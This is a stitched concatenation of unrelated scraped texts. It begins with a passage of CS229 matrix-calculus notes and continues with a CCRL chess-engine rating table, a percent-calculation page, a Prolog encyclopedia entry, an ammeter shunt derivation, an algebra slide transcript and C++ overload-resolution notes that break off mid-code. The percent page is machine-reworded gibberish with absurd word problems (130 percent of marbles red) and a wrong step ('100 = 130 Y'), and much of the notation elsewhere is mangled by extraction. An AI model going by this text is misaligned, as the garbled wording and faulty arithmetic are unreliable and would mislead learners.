real-valued.\nIt is natural to think of the gradient as the analogue of the first derivative for functions\nof vectors, and the Hessian as the analogue of the second derivative (and the symbols we\nuse also suggest this relation). This intuition is generally correct, but there a few caveats to\nkeep in mind.\n4\nA drawback to this notation that we will have to live with is the fact that in the first case, ∇z f (Ax) it\nappears that we are differentiating with respect to a variable that does not even appear in the expression\nbeing differentiated! For this reason, the first case is often written as ∇f (Ax), and the fact that we are\ndifferentiating with respect to the arguments of f is understood. However, the second case is always written\nas ∇x f (Ax).\n22\nFirst, for real-valued functions of one variable f : R → R, it is a basic definition that the\nsecond derivative is the derivative of the first derivative, i.e.,\n∂ ∂\n∂ 2 f (x)\n=\nf (x).\n2\n∂x\n∂x ∂x\nHowever, for functions of a vector, the gradient of the function is a vector, and we cannot\ntake the gradient of a vector — i.e.,\n\n\n\n\n∇x ∇x f (x) = ∇x \n\n\n∂f (x)\n∂x1\n∂f (x)\n∂x2\n..\n.\n∂f (x)\n∂x1\n\n\n\n\n\nand this expression is not defined. Therefore, it is not the case that the Hessian is the\ngradient of the gradient. However, this is almost true, in the following sense: If we look at\nthe ith entry of the gradient (∇x f (x))i = ∂f (x)/∂xi , and take the gradient with respect to\nx we get\n\n\n\n∂f (x) \n=\n∇x\n\n∂xi\n\n∂ 2 f (x)\n∂xi ∂x1\n∂ 2 f (x)\n∂xi ∂x2\n..\n.\n∂f (x)\n∂xi ∂xn\n\n\n\n\n\nwhich is the ith column (or row) of the Hessian. Therefore,\n∇2x f (x) = ∇x (∇x f (x))1 ∇x (∇x f (x))2 · · · ∇x (∇x f (x))n .\nIf we don’t mind being a little bit sloppy we can say that (essentially) ∇2x f (x) = ∇x (∇x f (x))T ,\nso long as we understand that this really means taking the gradient of each entry of (∇x f (x))T ,\nnot the gradient of the whole vector.\nFinally, note that while we can take the gradient with respect to a matrix A ∈ Rn , for\nthe purposes of this class we will only consider taking the Hessian with respect to a vector\nx ∈ Rn . This is simply a matter of convenience (and the fact that none of the calculations\nwe do require us to find the Hessian with respect to a matrix), since the Hessian with respect\nto a matrix would have to represent all the partial derivatives ∂ 2 f (A)/(∂Aij ∂Akℓ ), and it is\nrather cumbersome to represent this as a matrix.\n4.3\nNow let’s try to determine the gradient and Hessian matrices for a few simple functions. It\nshould be noted that all the gradients given here are special cases of the gradients given in\nthe CS229 lecture notes.\n23\nFor x ∈ Rn , let f (x) = bT x for some known vector b ∈ Rn . Then\nn\nX\nf (x) =\nbi xi\ni=1\nso\nn\n∂f (x)\n∂ X\nbi xi = bk .\n=\n∂xk\n∂xk i=1\nFrom this we can easily see that ∇x bT x = b. This should be compared to the analogous\nsituation in single variable calculus, where ∂/(∂x) ax = a.\nNow consider the quadratic function f (x) = xT Ax for A ∈ Sn . Remember that\nn X\nn\nX\nf (x) =\nAij xi xj .\ni=1 j=1\nTo take the partial derivative, we’ll consider the terms including xk and x2k factors separately:\nn\nn\n∂f (x)\n∂ XX\n=\nAij xi xj\n∂xk\n∂xk i=1 j=1\n#\n\"\nX\nX\n∂ XX\nAij xi xj +\nAik xi xk +\nAkj xk xj + Akk x2k\n=\n∂xk i6=k j6=k\ni6=k\nj6=k\nX\nX\n=\nAik xi +\nAkj xj + 2Akk xk\n=\ni6=k\nj6=k\nn\nX\nn\nX\ni=1\nAik xi +\nAkj xj = 2\nj=1\nn\nX\nAki xi ,\ni=1\nwhere the last equality follows since A is symmetric (which we can safely assume, since it is\nappearing in a quadratic form). Note that the kth entry of ∇x f (x) is just the inner product\nof the kth row of A and x. Therefore, ∇x xT Ax = 2Ax. Again, this should remind you of\nthe analogous fact in single-variable calculus, that ∂/(∂x) ax2 = 2ax.\nFinally, let’s look at the Hessian of the quadratic function f (x) = xT Ax (it should be\nobvious that the Hessian of a linear function bT x is zero). In this case,\n#\n\" n\n∂ ∂f (x)\n∂ 2 f (x)\n∂ X\nAℓi xi = 2Aℓk = 2Akℓ .\n=\n=\n∂xk ∂xℓ\n∂xk ∂xℓ\n∂xk i=1\nTherefore, it should be clear that ∇2x xT Ax = 2A, which should be entirely expected (and\nagain analogous to the single-variable fact that ∂ 2 /(∂x2 ) ax2 = 2a).\nTo recap,\n• ∇x bT x = b\n• ∇x xT Ax = 2Ax (if A symmetric)\n• ∇2x xT Ax = 2A (if A symmetric)\n24\n4.4\nLeast Squares\nLet’s apply the equations we obtained in the last section to derive the least squares equations.\nSuppose we are given matrices A ∈ Rm×n (for simplicity we assume A is full rank) and a\nvector b ∈ Rm such that b 6∈ R(A). In this situation we will not be able to find a vector\nx ∈ Rn , such that Ax = b, so instead we want to find a vector x such that Ax is as close as\npossible to b, as measured by the square of the Euclidean norm kAx − bk22 .\nUsing the fact that kxk22 = xT x, we have\nkAx − bk22 = (Ax − b)T (Ax − b)\n= xT AT Ax − 2bT Ax + bT b\nTaking the gradient with respect to x we have, and using the properties we derived in the\nprevious section\n∇x (xT AT Ax − 2bT Ax + bT b) = ∇x xT AT Ax − ∇x 2bT Ax + ∇x bT b\n= 2AT Ax − 2AT b\nSetting this last expression equal to zero and solving for x gives the normal equations\nx = (AT A)−1 AT b\nwhich is the same as what we derived in class.\n4.5\nNow let’s consider a situation where we find the gradient of a function with respect to\na matrix, namely for A ∈ Rn×n , we want to find ∇A |A|. Recall from our discussion of\ndeterminants that\nn\nX\n|A| =\n(−1)i+j Aij |A\\i,\\j | (for any j ∈ 1, . . . , n)\ni=1\nso\nn\n∂\n∂ X\n(−1)i+j Aij |A\\i,\\j | = (−1)k+ℓ |A\\k,\\ℓ | = (adj(A))ℓk .\n|A| =\n∂Akℓ\n∂Akℓ i=1\nFrom this it immediately follows from the properties of the adjoint that\n∇A |A| = (adj(A))T = |A|A−T .\nNow let’s consider the function f : Sn++ → R, f (A) = log |A|. Note that we have to\nrestrict the domain of f to be the positive definite matrices, since this ensures that |A| > 0,\nso that the log of |A| is a real number. In this case we can use the chain rule (nothing fancy,\njust the ordinary chain rule from single-variable calculus) to see that\n∂ log |A|\n∂ log |A| ∂|A|\n1 ∂|A|\n=\n=\n.\n∂Aij\n∂|A| ∂Aij\n|A| ∂Aij\n25\nFrom this it should be obvious that\n∇A log |A| =\n1\n∇A |A| = A−1 ,\n|A|\nwhere we can drop the transpose in the last expression because A is symmetric. Note the\nsimilarity to the single-valued case, where ∂/(∂x) log x = 1/x.\n4.6\nEigenvalues as Optimization\nFinally, we use matrix calculus to solve an optimization problem in a way that leads directly\nto eigenvalue/eigenvector analysis. Consider the following, equality constrained optimization\nproblem:\nmaxx∈Rn xT Ax subject to kxk22 = 1\nfor a symmetric matrix A ∈ Sn . A standard way of solving optimization problems with\nequality constraints is by forming the Lagrangian, an objective function that includes the\nequality constraints.5 The Lagrangian in this case can be given by\nL(x, λ) = xT Ax − λxT x\nwhere λ is called the Lagrange multiplier associated with the equality constraint. It can be\nestablished that for x∗ to be a optimal point to the problem, the gradient of the Lagrangian\nhas to be zero at x∗ (this is not the only condition, but it is required). That is,\n∇x L(x, λ) = ∇x (xT Ax − λxT x) = 2AT x − 2λx = 0.\nNotice that this is just the linear equation Ax = λx. This shows that the only points which\ncan possibly maximize (or minimize) xT Ax assuming xT x = 1 are the eigenvectors of A.\n5\nDon’t worry if you haven’t seen Lagrangians before, as we will cover them in greater detail later in\nCS229.\n26\n```\nRelated documents" ]

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[ "Contents: CCRL Blitz Downloads and Statistics April 10, 2021 Testing summary: Total: 2'502'969 games played by 2'977 programs White wins: 962'290 (38.4%) Black wins: 770'705 (30.8%) Draws: 769'974 (30.8%) White score: 53.8%\n\n## Engine Details\n\n Options Show each game results\nCounter 3.2 64-bit (2848+21\n−21\n)Quote\n Author: Vadim Chizhov Link: Homepage\nThis is one of the 16 Counter versions we tested: Compare them!\n Opponent Elo Diff Results Score LOS Perf –   Amoeba 3.0 64-bit 2974 +14−15 (+126) 13.5 − 26.5(+6−19=15) 33.8%13.5 / 40 0.0% +17 0 1 = = = 1 0 = 0 = 0 = 0 0 0 = 0 = 0 = 0 1 1 = 1 0 0 = = 0 = = 0 0 0 = 1 0 0 0 –   DiscoCheck 5.2.1 64-bit 2913 +9−9 (+65) 10 − 22(+2−14=16) 31.3%10.0 / 32 0.0% −48 = 0 = = 0 0 = 0 = 0 = = 0 = 0 0 = = 0 = = 0 = 1 = = 1 0 0 0 0 = –   Zurichess Neuchatel 64-bit 2901 +9−9 (+53) 13 − 20(+5−12=16) 39.4%13.0 / 33 0.0% −12 = = = 0 0 = = 0 0 = 0 0 = 0 = 0 1 0 = = = = 1 1 = 0 1 0 = = = 0 1 –   Tucano 7.07 64-bit 2900 +16−16 (+52) 19.5 − 30.5(+9−20=21) 39.0%19.5 / 50 0.0% −16 = = = = 1 = 0 1 = 0 = 1 0 0 1 0 = 1 0 = = = 0 = = 0 0 = 0 0 = 0 1 1 1 0 0 = = = = 0 1 0 0 0 0 0 = = –   Daydreamer 2.0.0-pre2 64-bit 2890 +11−11 (+42) 13.5 − 19.5(+6−12=15) 40.9%13.5 / 33 0.0% −13 = 0 0 = = 1 0 0 = = 0 0 1 0 0 = = = 1 1 0 1 0 = 1 = = = 0 = = 0 = –   Godel 5.5.1 64-bit 2889 +16−16 (+41) 13 − 19(+9−15=8) 40.6%13.0 / 32 0.1% −22 1 0 0 0 0 1 = 1 = 1 0 0 0 0 0 = 1 0 0 1 0 0 1 0 = 1 = 1 = 0 = = –   Marvin 3.3.2 64-bit 2855 +18−18 (+7) 14 − 18(+5−9=18) 43.8%14.0 / 32 28.9% −28 = = 0 1 0 = 0 = = = 0 = = = = 0 0 0 = 1 = 1 1 0 = = = = 0 = = 1 –   Asymptote 0.6 64-bit 2850 +16−16 (+2) 18.5 − 13.5(+16−11=5) 57.8%18.5 / 32 42.4% +61 1 1 0 1 = 0 1 1 0 1 = 1 1 1 1 0 0 1 0 1 0 = 1 1 0 = = 1 0 0 0 1 –   Gogobello 2.0 64-bit 2849 +18−18 (+1) 17 − 15(+11−9=12) 53.1%17.0 / 32 48.0% +19 1 = 1 1 = = 1 = = = 0 = 1 0 = = 0 0 0 1 1 1 0 1 = 0 0 0 1 = = 1 –   Topple 0.5.0 64-bit 2831 +18−18 (−17) 14.5 − 17.5(+10−13=9) 45.3%14.5 / 32 89.4% −47 1 0 0 0 = = = 0 0 0 1 0 1 0 1 0 1 1 = 0 = = = 0 1 = 1 1 0 0 = 1 –   Marvin 3.2.0 64-bit 2828 +16−16 (−20) 17 − 14(+12−9=10) 54.8%17.0 / 31 93.3% +12 1 = 1 0 0 1 = 0 0 = = = 1 0 = = 0 1 1 0 = 1 = 1 1 1 1 = 0 0 1 –   Octochess r5506 64-bit 2819 +12−12 (−29) 17.5 − 15.5(+11−9=13) 53.0%17.5 / 33 99.1% −9 0 = = = = 1 = 0 1 0 0 1 = = 1 0 0 = 1 = = = 0 0 = 0 1 1 1 = 1 1 1 –   Monolith 1.0 64-bit 2818 +12−12 (−30) 17 − 16(+11−10=12) 51.5%17.0 / 33 99.2% −20 = 1 = = = 0 = 0 1 0 1 1 1 1 1 0 = 1 1 0 1 = 0 = 0 = 0 = 1 = 0 0 = –   Winter 0.4a 64-bit 2812 +22−22 (−36) 18 − 15(+11−8=14) 54.5%18.0 / 33 99.1% −7 = = 1 1 = = 0 0 1 1 1 1 1 1 = 0 1 0 = = = = 0 0 0 = = = 1 = 1 = 0 –   Rhetoric 1.4.3 64-bit 2808 +8−8 (−40) 20 − 13(+13−6=14) 60.6%20.0 / 33 100.0% +26 = 0 = = 1 = 1 = = = 1 = 1 1 = 1 = = 1 0 0 1 1 = 0 = 1 0 = 1 0 1 1 –   RuyDos 1.1.9 64-bit 2801 +22−22 (−47) 17 − 17(+11−11=12) 50.0%17.0 / 34 99.9% −47 1 1 1 1 1 = 0 1 1 = = 1 1 1 = = = 0 0 = 0 0 = 0 1 = = 0 0 = = 0 0 0 –   Minic 0.82 64-bit 2795 +32−32 (−53) 19 − 11(+14−6=10) 63.3%19.0 / 30 99.7% +34 = = 1 0 0 = 0 1 = = 1 = 1 1 1 1 1 1 0 1 = = 1 0 1 0 = = 1 1 –   Ktulu 9 2781 +8−8 (−67) 20 − 13(+16−9=8) 60.6%20.0 / 33 100.0% +7 = = 1 1 1 1 1 0 = 0 1 = 1 = 0 = = 0 = 1 1 0 0 1 0 1 1 0 1 0 1 1 1 –   Frenzee 3.5.19 64-bit 2769 +7−7 (−79) 21 − 11(+15−5=12) 65.6%21.0 / 32 100.0% +25 1 1 1 = 1 = 1 1 0 = = 1 0 = = = 1 = = 1 0 1 1 1 1 = = 0 = 1 0 1 –   Twisted Logic 20100131x 64-bit 2769 +10−10 (−79) 21 − 12(+18−9=6) 63.6%21.0 / 33 100.0% +25 1 = 1 = = = 0 1 0 = 1 0 1 0 1 1 1 0 1 0 0 1 1 1 0 1 1 = 1 1 1 0 1 –   Francesca MAD 0.23 64-bit 2759 +19−19 (−89) 19.5 − 12.5(+14−7=11) 60.9%19.5 / 32 100.0% −18 1 = 0 = = 1 = 1 = 0 0 1 1 1 1 = 0 1 1 = = = 1 = = 1 0 1 0 1 0 1 –   Bagatur 1.7a 64-bit 2656 +17−17 (−192) 34.5 − 5.5(+31−2=7) 86.3%34.5 / 40 100.0% +105 1 = 1 1 1 1 1 1 = 1 = 1 = 1 = 0 1 = 0 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1\n\n### Rating changes by day", null, "### Rating changes with played games", null, "Created in 2005-2013 by CCRL team Last games added on April 10, 2021" ]

[ null, "http://www.computerchess.org.uk/ccrl/404/rating-history-by-day-graphs/Counter_3_2_64-bit.png", null, "http://www.computerchess.org.uk/ccrl/404/rating-history-by-day-graphs-2/Counter_3_2_64-bit.png", null ]

[ "## Step by step solution for calculating 91 is 130 percent that what number\n\nWe currently have our first value 91 and the second value 130. Let\"s i think the unknown value is Y which answer we will uncover out.\n\nYou are watching: 130 of what number is 91\n\nAs we have all the compelled values we need, now we can put castle in a straightforward mathematical formula together below:\n\nSTEP 191 = 130% × Y\n\nSTEP 291 = 130/100× Y\n\nMultiplying both sides by 100 and also dividing both sides of the equation through 130 we will certainly arrive at:\n\nSTEP 3Y = 91 × 100/130\n\nSTEP 4Y = 91 × 100 ÷ 130\n\nSTEP 5Y = 70\n\nFinally, we have discovered the value of Y which is 70 and that is ours answer.\n\nYou can quickly calculate 91 is 130 percent that what number by using any type of regular calculator, simply get in 91 × 100 ÷ 130 and also you will get your answer i m sorry is 70\n\nHere is a portion Calculator come solve similar calculations such together 91 is 130 percent that what number. You have the right to solve this kind of calculation with your worths by start them right into the calculator\"s fields, and also click \"Calculate\" to get the an outcome and explanation.\n\nis\npercent that what number\nCalculate", null, "## Sample questions, answers, and how to\n\nQuestion: your friend has a bag of marbles, and he tells you the 130 percent of the marbles are red. If there are 91 red marbles. How numerous marbles walk he have actually altogether?\n\nHow To: In this problem, we understand that the Percent is 130, and we are likewise told the the part of the marbles is red, so we know that the component is 91.\n\nSo, that way that it need to be the total that\"s missing. Below is the means to number out what the total is:\n\nPart/Total = Percent/100\n\nBy utilizing a simple algebra we can re-arrange our Percent equation like this:\n\nPart × 100/Percent = Total\n\nIf us take the \"Part\" and multiply it by 100, and also then we division that by the \"Percent\", us will gain the \"Total\".\n\nLet\"s try it the end on our problem about the marbles, that\"s very basic and it\"s simply two steps! We understand that the \"Part\" (red marbles) is 91.\n\nSo step one is to just multiply that part by 100.\n\n91 × 100 = 9100\n\nIn step two, we take the 9100 and also divide it by the \"Percent\", which we space told is 130.\n\nSo, 9100 divided by 130 = 70\n\nAnd that method that the total number of marbles is 70.\n\nQuestion: A high institution marching band has 91 flute players, If 130 percent of the tape members beat the flute, climate how numerous members space in the band?\n\nAnswer: There are 70 members in the band.\n\nHow To: The smaller \"Part\" in this difficulty is 91 because there room 91 flute players and also we are told that they make up 130 percent that the band, therefore the \"Percent\" is 130.\n\nAgain, it\"s the \"Total\" that\"s lacking here, and also to discover it, we simply need to monitor our 2 step procedure as the ahead problem.\n\nFor action one, we multiply the \"Part\" by 100.\n\n91 × 100 = 9100\n\nFor action two, we division that 9100 by the \"Percent\", i beg your pardon is 130.\n\nSee more: Can You Try For Baby With The Grim Reaper Sims 4, Grim Reaper\n\n9100 separated by 130 equals 70\n\nThat method that the total variety of band members is 70.\n\n## Another step by action method\n\nStep 1: Let\"s i think the unknown value is Y\n\nStep 2: first writing it as: 100% / Y = 130% / 91\n\nStep 3: autumn the percentage marks to simplify your calculations: 100 / Y = 130 / 91\n\nStep 4: multiply both political parties by Y to move Y ~ above the best side that the equation: 100 = ( 130 / 91 ) Y\n\nStep 5: simple the best side, us get: 100 = 130 Y\n\nStep 6: dividing both political parties of the equation through 130, we will certainly arrive at 70 = Y\n\nThis pipeline us with our last answer: 91 is 130 percent of 70\n\n 91 is 130 percent the 70 91.01 is 130 percent that 70.008 91.02 is 130 percent the 70.015 91.03 is 130 percent of 70.023 91.04 is 130 percent that 70.031 91.05 is 130 percent of 70.038 91.06 is 130 percent of 70.046 91.07 is 130 percent that 70.054 91.08 is 130 percent of 70.062 91.09 is 130 percent that 70.069 91.1 is 130 percent of 70.077 91.11 is 130 percent of 70.085 91.12 is 130 percent that 70.092 91.13 is 130 percent the 70.1 91.14 is 130 percent the 70.108 91.15 is 130 percent of 70.115 91.16 is 130 percent the 70.123 91.17 is 130 percent the 70.131 91.18 is 130 percent of 70.138 91.19 is 130 percent that 70.146\n 91.2 is 130 percent the 70.154 91.21 is 130 percent of 70.162 91.22 is 130 percent that 70.169 91.23 is 130 percent the 70.177 91.24 is 130 percent the 70.185 91.25 is 130 percent of 70.192 91.26 is 130 percent that 70.2 91.27 is 130 percent that 70.208 91.28 is 130 percent that 70.215 91.29 is 130 percent of 70.223 91.3 is 130 percent that 70.231 91.31 is 130 percent that 70.238 91.32 is 130 percent of 70.246 91.33 is 130 percent that 70.254 91.34 is 130 percent of 70.262 91.35 is 130 percent of 70.269 91.36 is 130 percent of 70.277 91.37 is 130 percent of 70.285 91.38 is 130 percent the 70.292 91.39 is 130 percent the 70.3\n 91.4 is 130 percent of 70.308 91.41 is 130 percent the 70.315 91.42 is 130 percent of 70.323 91.43 is 130 percent of 70.331 91.44 is 130 percent that 70.338 91.45 is 130 percent the 70.346 91.46 is 130 percent that 70.354 91.47 is 130 percent that 70.362 91.48 is 130 percent of 70.369 91.49 is 130 percent the 70.377 91.5 is 130 percent of 70.385 91.51 is 130 percent of 70.392 91.52 is 130 percent of 70.4 91.53 is 130 percent the 70.408 91.54 is 130 percent the 70.415 91.55 is 130 percent the 70.423 91.56 is 130 percent the 70.431 91.57 is 130 percent of 70.438 91.58 is 130 percent of 70.446 91.59 is 130 percent of 70.454\n 91.6 is 130 percent the 70.462 91.61 is 130 percent that 70.469 91.62 is 130 percent that 70.477 91.63 is 130 percent of 70.485 91.64 is 130 percent of 70.492 91.65 is 130 percent of 70.5 91.66 is 130 percent the 70.508 91.67 is 130 percent of 70.515 91.68 is 130 percent of 70.523 91.69 is 130 percent that 70.531 91.7 is 130 percent of 70.538 91.71 is 130 percent of 70.546 91.72 is 130 percent the 70.554 91.73 is 130 percent of 70.562 91.74 is 130 percent the 70.569 91.75 is 130 percent of 70.577 91.76 is 130 percent of 70.585 91.77 is 130 percent the 70.592 91.78 is 130 percent that 70.6 91.79 is 130 percent the 70.608\n 91.8 is 130 percent of 70.615 91.81 is 130 percent the 70.623 91.82 is 130 percent the 70.631 91.83 is 130 percent of 70.638 91.84 is 130 percent of 70.646 91.85 is 130 percent the 70.654 91.86 is 130 percent that 70.662 91.87 is 130 percent of 70.669 91.88 is 130 percent of 70.677 91.89 is 130 percent the 70.685 91.9 is 130 percent of 70.692 91.91 is 130 percent that 70.7 91.92 is 130 percent the 70.708 91.93 is 130 percent the 70.715 91.94 is 130 percent of 70.723 91.95 is 130 percent of 70.731 91.96 is 130 percent that 70.738 91.97 is 130 percent of 70.746 91.98 is 130 percent that 70.754 91.99 is 130 percent the 70.762" ]

[ null, "https://dearteassociazione.org/130-of-what-number-is-91/imager_1_8766_700.jpg", null ]

[ "# Dr. Alain Colmerauer\n\nCurator of ScholarpediaCurator Index: 0(Redirected from User:Colmerauer)\n\n## What is it?\n\nA Prolog program is made of a set of rules. A rule is of the following form:\n\n <assertion>0 $$\\leftarrow$$ <assertion>1 , ... , <assertion>n .\n\n\nIt states:\n\n <assertion>0 holds if <assertion>1,...,<assertion>n all hold.\n\n\nIn particular, when n=0, it states: <assertion>0 holds. This is the declarative meaning. For the procedural meaning the rule states:\n\n to compute <assertion>0, compute <assertion>1,...,<assertion>n.\n\n\nIn this case, when n=0, it states: <assertion>0 is already computed.\n\n## Example\n\nWe would like to concatenate b l to u e to obtain b l u e. Given the data structure of Prolog, we will concatenate dot(b,dot(l,nil)) to dot(u,dot(e,nil)) to obtain dot(b,dot(l,dot(u,dot(e,nil)))). Let us suppose that conc(X,Y,Z) means the concatenation of X with Y is Z and that list(X) means X is a list. Here is the program:\n\n conc(nil,X,X) :- list(X).\nconc(dot(A,X),Y,dot(A,Z)) :- conc(X,Y,Z).\n\nlist(nil) :- .\nlist(dot(A,X)) :- list(X).\n\n\nThe double sign :-  denotes $$\\leftarrow$$. What is more important, capital letters are used for variables. Their scope is just valid for each rule, and their value is unique but partially known. To run the program we ask a query:\n\n conc(dot(b,dot(l,nil)),dot(u,dot(e,nil)),Z).\n\n\nand the computer gives the answer:\n\n Z=dot(b,dot(l,dot(u,dot(e,nil)))).\n\n\nBut because we have defined conc to be a ternary relation and not a binary function, we can ask:\n\n conc(X,Y,dot(b,dot(l,dot(u,dot(e,nil))))).\n\n\n X=nil, Y=dot(b,dot(l,dot(u,dot(e,nil)))).\nX=dot(b,nil), Y=dot(l,dot(u,dot(e,nil))).\nX=dot(b,dot(l,nil)), Y=dot(u,dot(e,nil)).\nX=dot(b,dot(l,dot(u,nil))), Y=dot(e,nil).\nX=dot(b,dot(l,dot(u,dot(e,nil)))), Y=nil.\n\n\n## History\n\nProlog was invented in 1972, at Marseilles, by [Alain Colmerauer] and Philippe Roussel. The name Prolog stands for Progammation en Logique in French and was coined by Philippe Roussel. At that time, the only publications were internal reports:\n\n• Alain Colmerauer, Henry Kanoui, Robert Pasero et Philippe Roussel, Un système de communication en français, preliminary report for IRIA,link title Groupe d'Intelligence Artificielle, Faculté des Sciences de Luminy, Université Aix-Marseille II, France, October 1972.\n• Philippe Roussel, Prolog, manuel de référence et d'utilisation, Groupe d'Intelligence Artificielle, UER Marseille-Luminy, September 1975.\n\nThe work was influenced by [Robert Kowalski] who was in Edinburgh. More than ten years later David Warren, also in Edinburgh, created the [WAM machine] for his Prolog compiler. There is still an [Association for Logic Programming ] for all the Prolog freaks." ]

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[ "# Ammeter Design\n\nThe maximum current that the iron-vane movement can read independently is equal to the current sensitivity of the movement. However, higher currents can be measured if additional circuitry is introduced. This additional circuitry, as shown in Fig.no.1, results in the basic construction of an ammeter.", null, "Fig.no.1: Basic ammeter.", null, "Fig.no.2: Multirange ammeter.\nThe resistance $R_{shunt}$ is chosen for the ammeter in Fig.no.1 to allow 1 mA to flow through the movement when a maximum current of 1 A enters the ammeter. If less than 1 A flows through the ammeter, the movement will have less than 1 mA flowing through it and will indicate less than full-scale deflection.\nSince the voltage across parallel elements must be the same, the potential drop across a-b in Fig.no.2 must equal that across c-d; that is, $$(1 mA)(43 Ω) = R_{shunt} Is$$ Also, Is must equal $1 A - 1 mA = 999 mA$ if the current is to be limited to 1 mA through the movement (Kirchhoff's current law). Therefore, $$(1 mA)(43 Ω) = R_{shunt}(999 mA)$$ $$R_{shunt} = {(1 mA)(43Ω) \\over 999 mA}$$ $$= 43 mΩ \\text{(a standard value)}$$ In general, $$\\bbox[5px,border:1px solid blue] {\\color{blue}{ R_{shunt} = {R_m I_{CS} \\over I_{max} - I_{CS}}}} \\tag{1}$$" ]

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[ "", null, "# Objective - To solve equations with the variable in both sides.\n\n## Presentation on theme: \"Objective - To solve equations with the variable in both sides.\"— Presentation transcript:\n\nObjective - To solve equations with the variable in both sides.\n2x + 4 = 5x - 17 2x + 4 = 5x - 17 2x + 4 = 5x - 17 -2x x -5x x 4 = 3x - 17 -3x + 4 = -17 21 = 3x -3x = -21 7 = x x = 7\n\nRules for Solving Equations\n1) Goal: Isolate the variable on one side of the equation. 2) Undo operations with their opposite operation. 3) Always do the same thing to both sides of the equation. 4) Easiest to undo add/subtract before multiply/divide.\n\nSolve. 1) 4(x - 2) - 2x = 5(x - 3) 4x x = 5x - 15 2x - 8 = 5x - 15 -2x x -8 = 3x - 15 7 = 3x\n\n2) 3(x + 2) - (2x - 4) = - (4x + 1) 3x x + 4 = - 4x - 1 x + 10 = - 4x - 1 + 4x x 5x + 10 = -1 5x = -11 x = =\n\n3) 5(m - 6) = [2(m - 7) - 5m] 5m - 30 = [2m m] 5m - 30 = [-3m - 14] 5m - 30 = m + 56 5m - 30 = 12m + 66 -5m m -30 = 7m + 66 -96 = 7m\n\nSolve each equation below.\na) 3x - 5 = 2x + 12 b) 3x + 8 = 2(x + 4) + x -2x x 3x + 8 = 2x x x - 5 = 12 3x + 8 = 3x + 8 -3x x x = 17 8 = 8 True ! One Solution Identity x = any real number c) 3x + 2 = 2(x - 1) + x 3x + 2 = 2x x 3x + 2 = 3x - 2 -3x x 2 = -2 False ! No Solution\n\nSolve. 4) 4(y - 2) + 6y = 7(y - 8) - 3(10 - y)\n-8 = -86 False Statement No Solution\n\n5) 3(4 + k) - 2(3k + 4) = 5(k - 3) - (8k - 19)\nSolve. 5) 3(4 + k) - 2(3k + 4) = 5(k - 3) - (8k - 19) 12 + 3k - 6k - 8 = 5k k + 19 -3k + 4 = -3k + 4 +3k k 4 = 4 True Statement Infinitely Many Solutions x = any real number\n\nDownload ppt \"Objective - To solve equations with the variable in both sides.\"\n\nSimilar presentations" ]

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[ "## # Categorization of argument to parameter cost\n\nOverload resolution partitions the cost of passing an argument to a parameter into one of four different categorizes, called \"sequences\". Each sequence may include zero, one or several conversions\n\n• Standard conversion sequence\n``````void f(int a); f(42);\n\n``````\n• User defined conversion sequence\n``````void f(std::string s); f(\"hello\");\n\n``````\n• Ellipsis conversion sequence\n``````void f(...); f(42);\n\n``````\n• List initialization sequence\n``````void f(std::vector<int> v); f({1, 2, 3});\n\n``````\n• The general principle is that Standard conversion sequences are the cheapest, followed by user defined conversion sequences, followed by ellipsis conversion sequences.\n\nA special case is the list initialization sequence, which does not constitute a conversion (an initializer list is not an expression with a type). Its cost is determined by defining it to be equivalent to one of the other three conversion sequences, depending on the parameter type and form of initializer list.\n\n## # Exact match\n\nAn overload without conversions needed for parameter types or only conversions needed between types that are still considered exact matches is preferred over an overload that requires other conversions in order to call.\n\n``````void f(int x);\nvoid f(double x);\nf(42); // calls f(int)\n\n``````\n\nWhen an argument binds to a reference to the same type, the match is considered to not require a conversion even if the reference is more cv-qualified.\n\n``````void f(int& x);\nvoid f(double x);\nint x = 42;\nf(x); // argument type is int; exact match with int&\n\nvoid g(const int& x);\nvoid g(int x);\ng(x); // ambiguous; both overloads give exact match\n\n``````\n\nFor the purposes of overload resolution, the type \"array of `T`\" is considered to match exactly with the type \"pointer to `T`\", and the function type `T` is considered to match exactly with the function pointer type `T*`, even though both require conversions.\n\n``````void f(int* p);\nvoid f(void* p);\n\nvoid g(int* p);\nvoid g(int (&p));\n\nint a;\nf(a); // calls f(int*); exact match with array-to-pointer conversion\ng(a); // ambiguous; both overloads give exact match\n\n``````\n\n## # Name lookup and access checking\n\nOverload resolution occurs after name lookup. This means that a better-matching function will not be selected by overload resolution if it loses name lookup:\n\n``````void f(int x);\nstruct S {\nvoid f(double x);\nvoid g() { f(42); } // calls S::f because global f is not visible here,\n// even though it would be a better match\n};\n\n``````\n\nOverload resolution occurs before access checking. An inaccessible function might be selected by overload resolution if it is a better match than an accessible function.\n\n``````class C {\npublic:\nstatic void f(double x);\nprivate:\nstatic void f(int x);\n};\nC::f(42); // Error! Calls private C::f(int) even though public C::f(double) is viable.\n\n``````\n\nSimilarly, overload resolution happens without checking whether the resulting call is well-formed with regards to `explicit`:\n\n``````struct X {\nexplicit X(int );\nX(char );\n};\n\nvoid foo(X );\nfoo({4}); // X(int) is better much, but expression is\n// ill-formed because selected constructor is explicit\n\n``````\n\nYou must be very careful when providing a forwarding reference overload as it may match too well:\n\n``````struct A {\nA() = default; // #1\nA(A const& ) = default; // #2\n\ntemplate <class T>\nA(T&& ); // #3\n};\n\n``````\n\nThe intent here was that `A` is copyable, and that we have this other constructor that might initialize some other member. However:\n\n``````A a; // calls #1\nA b(a); // calls #3!\n\n``````\n\nThere are two viable matches for the construction call:\n\n``````A(A const& ); // #2\nA(A& ); // #3, with T = A&\n\n``````\n\nBoth are Exact Matches, but `#3` takes a reference to a less cv-qualified object than `#2` does, so it has the better standard conversion sequence and is the best viable function.\n\nThe solution here is to always constrain these constructors (e.g. using SFINAE):\n\n``````template <class T,\nclass = std::enable_if_t<!std::is_convertible<std::decay_t<T>*, A*>::value>\n>\nA(T&& );\n\n``````\n\nThe type trait here is to exclude any `A` or class publicly and unambiguously derived from `A` from consideration, which would make this constructor ill-formed in the example described earlier (and hence removed from the overload set). As a result, the copy constructor is invoked - which is what we wanted.\n\n## # Arithmetic promotions and conversions\n\nConverting an integer type to the corresponding promoted type is better than converting it to some other integer type.\n\n``````void f(int x);\nvoid f(short x);\nsigned char c = 42;\nf(c); // calls f(int); promotion to int is better than conversion to short\nshort s = 42;\nf(s); // calls f(short); exact match is better than promotion to int\n\n``````\n\nPromoting a `float` to `double` is better than converting it to some other floating point type.\n\n``````void f(double x);\nvoid f(long double x);\nf(3.14f); // calls f(double); promotion to double is better than conversion to long double\n\n``````\n\nArithmetic conversions other than promotions are neither better nor worse than each other.\n\n``````void f(float 